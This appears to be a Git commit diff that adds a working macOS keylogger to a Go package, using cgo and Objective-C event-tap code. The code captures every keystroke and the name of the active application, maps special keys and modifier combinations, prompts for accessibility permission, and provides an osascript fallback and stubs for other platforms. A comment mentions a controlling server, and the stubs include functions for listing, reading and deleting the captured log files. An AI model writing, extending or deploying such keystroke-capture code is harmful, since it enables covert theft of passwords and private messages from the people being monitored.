test
This commit is contained in:
@@ -33,6 +33,14 @@ type Keylogger struct {
|
||||
lastKeyTime time.Time
|
||||
lineStarted bool
|
||||
currentWindowTitle string
|
||||
permissionGranted bool // set to true once OS permission has been confirmed
|
||||
}
|
||||
|
||||
// IsRunning returns whether the keylogger capture loop is active.
|
||||
func (k *Keylogger) IsRunning() bool {
|
||||
k.mu.Lock()
|
||||
defer k.mu.Unlock()
|
||||
return k.running
|
||||
}
|
||||
|
||||
func New() *Keylogger {
|
||||
|
||||
@@ -1,30 +1,385 @@
|
||||
//go:build darwin && !nokeylogger
|
||||
// +build darwin,!nokeylogger
|
||||
//go:build darwin && !nokeylogger && cgo
|
||||
// +build darwin,!nokeylogger,cgo
|
||||
|
||||
package keylogger
|
||||
|
||||
/*
|
||||
#cgo CFLAGS: -x objective-c
|
||||
#cgo LDFLAGS: -framework ApplicationServices -framework CoreFoundation -framework AppKit
|
||||
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
// Forward declaration — implemented in Go via CGo export.
|
||||
extern void goOnKey(const char *chars, int len, int keyCode, int flags);
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Event tap globals
|
||||
// -----------------------------------------------------------------------
|
||||
static CFMachPortRef _tap = NULL;
|
||||
static CFRunLoopSourceRef _tapSrc = NULL;
|
||||
static CFRunLoopRef _tapRL = NULL;
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Keystroke callback
|
||||
// -----------------------------------------------------------------------
|
||||
static CGEventRef keyEventCallback(CGEventTapProxy proxy,
|
||||
CGEventType type,
|
||||
CGEventRef event,
|
||||
void *refcon)
|
||||
{
|
||||
if (type == kCGEventKeyDown || type == kCGEventFlagsChanged) {
|
||||
UniChar buf[8];
|
||||
UniCharCount actualLen = 0;
|
||||
|
||||
if (type == kCGEventKeyDown) {
|
||||
CGEventKeyboardGetUnicodeString(event, 8, &actualLen, buf);
|
||||
}
|
||||
|
||||
int keyCode = (int)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
int flags = (int)CGEventGetFlags(event);
|
||||
|
||||
if (type == kCGEventKeyDown && actualLen > 0) {
|
||||
// Simple UTF-16 -> UTF-8 conversion for BMP characters only
|
||||
char utf8[32];
|
||||
int utf8Len = 0;
|
||||
for (UniCharCount i = 0; i < actualLen && utf8Len < 28; i++) {
|
||||
UniChar c = buf[i];
|
||||
if (c < 0x80) {
|
||||
utf8[utf8Len++] = (char)c;
|
||||
} else if (c < 0x800) {
|
||||
utf8[utf8Len++] = (char)(0xC0 | (c >> 6));
|
||||
utf8[utf8Len++] = (char)(0x80 | (c & 0x3F));
|
||||
} else {
|
||||
utf8[utf8Len++] = (char)(0xE0 | (c >> 12));
|
||||
utf8[utf8Len++] = (char)(0x80 | ((c >> 6) & 0x3F));
|
||||
utf8[utf8Len++] = (char)(0x80 | (c & 0x3F));
|
||||
}
|
||||
}
|
||||
utf8[utf8Len] = '\0';
|
||||
goOnKey(utf8, utf8Len, keyCode, flags);
|
||||
} else if (type == kCGEventFlagsChanged) {
|
||||
goOnKey("", 0, keyCode, flags);
|
||||
}
|
||||
}
|
||||
return event;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// createEventTap — phase 1: allocate the tap (does NOT run the loop).
|
||||
// Returns 0 on success, -1 on failure (no accessibility permission).
|
||||
// -----------------------------------------------------------------------
|
||||
static int createEventTap(void) {
|
||||
CGEventMask mask = CGEventMaskBit(kCGEventKeyDown) |
|
||||
CGEventMaskBit(kCGEventFlagsChanged);
|
||||
_tap = CGEventTapCreate(kCGSessionEventTap,
|
||||
kCGHeadInsertEventTap,
|
||||
kCGEventTapOptionListenOnly,
|
||||
mask,
|
||||
keyEventCallback,
|
||||
NULL);
|
||||
if (!_tap) return -1;
|
||||
_tapSrc = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, _tap, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// runEventTapLoop — phase 2: attach to run loop and block.
|
||||
// Call from a goroutine that has been locked to an OS thread.
|
||||
// -----------------------------------------------------------------------
|
||||
static void runEventTapLoop(void) {
|
||||
_tapRL = CFRunLoopGetCurrent();
|
||||
CFRunLoopAddSource(_tapRL, _tapSrc, kCFRunLoopCommonModes);
|
||||
CGEventTapEnable(_tap, true);
|
||||
CFRunLoopRun();
|
||||
// Cleanup after loop exits
|
||||
CGEventTapEnable(_tap, false);
|
||||
CFRunLoopRemoveSource(_tapRL, _tapSrc, kCFRunLoopCommonModes);
|
||||
CFRelease(_tapSrc); _tapSrc = NULL;
|
||||
CFRelease(_tap); _tap = NULL;
|
||||
_tapRL = NULL;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// stopEventTapLoop — signal the run loop to exit.
|
||||
// -----------------------------------------------------------------------
|
||||
static void stopEventTapLoop(void) {
|
||||
if (_tapRL) {
|
||||
CFRunLoopStop(_tapRL);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Permission helpers
|
||||
// -----------------------------------------------------------------------
|
||||
static int checkAccessibility(void) {
|
||||
return AXIsProcessTrusted() ? 1 : 0;
|
||||
}
|
||||
|
||||
static int requestAccessibility(void) {
|
||||
NSDictionary *opts = @{(__bridge NSString *)kAXTrustedCheckOptionPrompt: @YES};
|
||||
return AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)opts) ? 1 : 0;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Window title helper
|
||||
// -----------------------------------------------------------------------
|
||||
static char* getFrontAppName(void) {
|
||||
@autoreleasepool {
|
||||
NSRunningApplication *app =
|
||||
[[NSWorkspace sharedWorkspace] frontmostApplication];
|
||||
if (!app) return NULL;
|
||||
NSString *name = app.localizedName;
|
||||
if (!name || name.length == 0) return NULL;
|
||||
return strdup([name UTF8String]);
|
||||
}
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
|
||||
// keyEvent holds a single key event delivered from the C tap callback.
|
||||
type keyEvent struct {
|
||||
chars string
|
||||
keyCode int
|
||||
flags int
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
// Global channel used by the C callback to deliver events to Go.
|
||||
// Buffered so the callback never blocks the event tap thread.
|
||||
var (
|
||||
keyEventCh chan keyEvent
|
||||
keyEventMu sync.Mutex
|
||||
)
|
||||
|
||||
for {
|
||||
// goOnKey is called from C when a key event arrives.
|
||||
//
|
||||
//export goOnKey
|
||||
func goOnKey(chars *C.char, length C.int, keyCode C.int, flags C.int) {
|
||||
var s string
|
||||
if length > 0 && chars != nil {
|
||||
s = C.GoStringN(chars, length)
|
||||
}
|
||||
ev := keyEvent{
|
||||
chars: s,
|
||||
keyCode: int(keyCode),
|
||||
flags: int(flags),
|
||||
}
|
||||
keyEventMu.Lock()
|
||||
ch := keyEventCh
|
||||
keyEventMu.Unlock()
|
||||
if ch != nil {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
|
||||
case ch <- ev:
|
||||
default:
|
||||
// Drop rather than block the callback thread
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// macOS virtual key codes for special keys
|
||||
const (
|
||||
kVK_Return = 0x24
|
||||
kVK_Delete = 0x33 // Backspace on Mac
|
||||
kVK_Tab = 0x30
|
||||
kVK_Escape = 0x35
|
||||
kVK_ForwardDelete = 0x75
|
||||
kVK_LeftArrow = 0x7B
|
||||
kVK_RightArrow = 0x7C
|
||||
kVK_DownArrow = 0x7D
|
||||
kVK_UpArrow = 0x7E
|
||||
kVK_Home = 0x73
|
||||
kVK_End = 0x77
|
||||
kVK_PageUp = 0x74
|
||||
kVK_PageDown = 0x79
|
||||
kVK_F1 = 0x7A
|
||||
kVK_F2 = 0x78
|
||||
kVK_F3 = 0x63
|
||||
kVK_F4 = 0x76
|
||||
kVK_F5 = 0x60
|
||||
kVK_F6 = 0x61
|
||||
kVK_F7 = 0x62
|
||||
kVK_F8 = 0x64
|
||||
kVK_F9 = 0x65
|
||||
kVK_F10 = 0x6D
|
||||
kVK_F11 = 0x67
|
||||
kVK_F12 = 0x6F
|
||||
|
||||
// CGEventFlags modifier bits
|
||||
kCGEventFlagMaskCommand = 0x00100000
|
||||
kCGEventFlagMaskControl = 0x00040000
|
||||
kCGEventFlagMaskAlternate = 0x00080000
|
||||
)
|
||||
|
||||
// Modifier-only key codes — we don't log standalone modifier presses.
|
||||
var modifierKeyCodes = map[int]bool{
|
||||
0x37: true, // Left Command
|
||||
0x36: true, // Right Command
|
||||
0x38: true, // Left Shift
|
||||
0x3C: true, // Right Shift
|
||||
0x3A: true, // Left Option/Alt
|
||||
0x3D: true, // Right Option/Alt
|
||||
0x3B: true, // Left Control
|
||||
0x3E: true, // Right Control
|
||||
0x39: true, // Caps Lock
|
||||
}
|
||||
|
||||
var specialKeyNames = map[int]string{
|
||||
kVK_Return: "[ENTER]",
|
||||
kVK_Delete: "[BACKSPACE]",
|
||||
kVK_Tab: "[TAB]",
|
||||
kVK_Escape: "[ESC]",
|
||||
kVK_ForwardDelete: "[DELETE]",
|
||||
kVK_LeftArrow: "[LEFT]",
|
||||
kVK_RightArrow: "[RIGHT]",
|
||||
kVK_DownArrow: "[DOWN]",
|
||||
kVK_UpArrow: "[UP]",
|
||||
kVK_Home: "[HOME]",
|
||||
kVK_End: "[END]",
|
||||
kVK_PageUp: "[PAGE UP]",
|
||||
kVK_PageDown: "[PAGE DOWN]",
|
||||
kVK_F1: "[F1]",
|
||||
kVK_F2: "[F2]",
|
||||
kVK_F3: "[F3]",
|
||||
kVK_F4: "[F4]",
|
||||
kVK_F5: "[F5]",
|
||||
kVK_F6: "[F6]",
|
||||
kVK_F7: "[F7]",
|
||||
kVK_F8: "[F8]",
|
||||
kVK_F9: "[F9]",
|
||||
kVK_F10: "[F10]",
|
||||
kVK_F11: "[F11]",
|
||||
kVK_F12: "[F12]",
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
// Phase 1: try to create the event tap (fails immediately if no permission).
|
||||
if ret := C.createEventTap(); ret != 0 {
|
||||
return fmt.Errorf("CGEventTap creation failed — accessibility permission required")
|
||||
}
|
||||
|
||||
// Phase 2: publish the event channel and run the tap on a locked OS thread.
|
||||
keyEventMu.Lock()
|
||||
keyEventCh = make(chan keyEvent, 512)
|
||||
ch := keyEventCh
|
||||
keyEventMu.Unlock()
|
||||
|
||||
tapDone := make(chan struct{})
|
||||
go func() {
|
||||
defer close(tapDone)
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
C.runEventTapLoop() // blocks until stopEventTapLoop() is called
|
||||
}()
|
||||
|
||||
log.Printf("[keylogger] macOS CGEventTap running")
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-k.stopCh:
|
||||
C.stopEventTapLoop()
|
||||
<-tapDone
|
||||
keyEventMu.Lock()
|
||||
keyEventCh = nil
|
||||
keyEventMu.Unlock()
|
||||
return nil
|
||||
case ev := <-ch:
|
||||
k.handleDarwinEvent(ev)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Keylogger) handleDarwinEvent(ev keyEvent) {
|
||||
// Modifier-only events: skip
|
||||
if ev.chars == "" && modifierKeyCodes[ev.keyCode] {
|
||||
return
|
||||
}
|
||||
|
||||
var keyStr string
|
||||
|
||||
if name, ok := specialKeyNames[ev.keyCode]; ok {
|
||||
keyStr = name
|
||||
} else if ev.chars != "" {
|
||||
cmd := ev.flags&kCGEventFlagMaskCommand != 0
|
||||
ctrl := ev.flags&kCGEventFlagMaskControl != 0
|
||||
alt := ev.flags&kCGEventFlagMaskAlternate != 0
|
||||
|
||||
if cmd || ctrl {
|
||||
keyStr = formatDarwinCombo(cmd, ctrl, alt, ev.chars)
|
||||
} else {
|
||||
keyStr = ev.chars
|
||||
}
|
||||
}
|
||||
|
||||
if keyStr == "" {
|
||||
return
|
||||
}
|
||||
|
||||
k.logKey(keyStr)
|
||||
}
|
||||
|
||||
func formatDarwinCombo(cmd, ctrl, alt bool, key string) string {
|
||||
s := "["
|
||||
if ctrl {
|
||||
s += "CTRL+"
|
||||
}
|
||||
if cmd {
|
||||
s += "CMD+"
|
||||
}
|
||||
if alt {
|
||||
s += "ALT+"
|
||||
}
|
||||
return s + key + "]"
|
||||
}
|
||||
|
||||
// CheckAccessibilityPermission returns true if the process already has
|
||||
// macOS Accessibility permission.
|
||||
func CheckAccessibilityPermission() bool {
|
||||
return C.checkAccessibility() == 1
|
||||
}
|
||||
|
||||
// RequestAccessibilityPermission displays the macOS system prompt asking the
|
||||
// user to grant Accessibility permission. Returns true if permission is
|
||||
// currently granted (either already was or just approved).
|
||||
func RequestAccessibilityPermission() bool {
|
||||
return C.requestAccessibility() == 1
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
cstr := C.getFrontAppName()
|
||||
if cstr == nil {
|
||||
return ""
|
||||
}
|
||||
defer C.free(unsafe.Pointer(cstr))
|
||||
return C.GoString(cstr)
|
||||
}
|
||||
|
||||
// NeedsPermissionGate returns true on macOS: the server must request
|
||||
// accessibility permission before the keylogger can start.
|
||||
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// RequestPermission triggers the macOS accessibility permission prompt via
|
||||
// AXIsProcessTrustedWithOptions (CGo path — native build only).
|
||||
func (k *Keylogger) RequestPermission() bool {
|
||||
granted := RequestAccessibilityPermission()
|
||||
k.mu.Lock()
|
||||
k.permissionGranted = granted
|
||||
k.mu.Unlock()
|
||||
return granted
|
||||
}
|
||||
|
||||
// HasPermission checks the current accessibility permission state without
|
||||
// displaying any prompt.
|
||||
func (k *Keylogger) HasPermission() bool {
|
||||
return CheckAccessibilityPermission()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
//go:build darwin && !nokeylogger && !cgo
|
||||
// +build darwin,!nokeylogger,!cgo
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func checkPermissionViaOsascript() bool {
|
||||
cmd := exec.Command("osascript", "-e",
|
||||
`tell application "System Events" to return name of every process`)
|
||||
cmd.Stdout = nil
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(strings.TrimSpace(string(out))) > 0
|
||||
}
|
||||
|
||||
func requestPermissionViaOsascript() bool {
|
||||
cmd := exec.Command("osascript", "-e",
|
||||
`tell application "System Events" to return name of every process`)
|
||||
cmd.Run() // ignore error — the prompt fires as a side effect
|
||||
|
||||
deadline := time.Now().Add(60 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
if checkPermissionViaOsascript() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (k *Keylogger) RequestPermission() bool {
|
||||
granted := requestPermissionViaOsascript()
|
||||
k.mu.Lock()
|
||||
k.permissionGranted = granted
|
||||
k.mu.Unlock()
|
||||
return granted
|
||||
}
|
||||
|
||||
func (k *Keylogger) HasPermission() bool {
|
||||
return checkPermissionViaOsascript()
|
||||
}
|
||||
|
||||
func (k *Keylogger) captureKeystrokes() error {
|
||||
log.Printf("[keylogger] keystroke capture is not available in CGO-disabled darwin builds; rebuild natively on macOS")
|
||||
<-k.stopCh
|
||||
return nil
|
||||
}
|
||||
|
||||
func getWindowTitle() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,4 +1,11 @@
|
||||
//go:build !windows && !linux && !darwin && !nokeylogger
|
||||
// Catch-all stub for platforms without a native keylogger implementation
|
||||
// (FreeBSD, OpenBSD, Android, etc.).
|
||||
//
|
||||
// Darwin is excluded because it has its own implementations:
|
||||
// - keylogger_darwin.go (darwin && cgo) — CGEventTap, full capture
|
||||
// - keylogger_darwin_nocgo.go (darwin && !cgo) — osascript permission gate,
|
||||
// stub capture
|
||||
|
||||
package keylogger
|
||||
|
||||
|
||||
@@ -15,10 +15,14 @@ type FileInfo struct {
|
||||
|
||||
func New() *Keylogger { return nil }
|
||||
|
||||
func (k *Keylogger) Start() error { return nil }
|
||||
func (k *Keylogger) Stop() {}
|
||||
func (k *Keylogger) Start() error { return nil }
|
||||
func (k *Keylogger) Stop() {}
|
||||
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
|
||||
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
|
||||
func (k *Keylogger) ClearAll() error { return nil }
|
||||
func (k *Keylogger) DeleteFile(string) error { return nil }
|
||||
func (k *Keylogger) FlushNow() {}
|
||||
func (k *Keylogger) ClearAll() error { return nil }
|
||||
func (k *Keylogger) DeleteFile(string) error { return nil }
|
||||
func (k *Keylogger) FlushNow() {}
|
||||
func (k *Keylogger) IsRunning() bool { return false }
|
||||
func (k *Keylogger) NeedsPermissionGate() bool { return false }
|
||||
func (k *Keylogger) RequestPermission() bool { return false }
|
||||
func (k *Keylogger) HasPermission() bool { return false }
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
//go:build !darwin && !nokeylogger
|
||||
// +build !darwin,!nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
func (k *Keylogger) NeedsPermissionGate() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (k *Keylogger) RequestPermission() bool {
|
||||
k.mu.Lock()
|
||||
k.permissionGranted = true
|
||||
k.mu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (k *Keylogger) HasPermission() bool {
|
||||
return true
|
||||
}
|
||||
Reference in New Issue
Block a user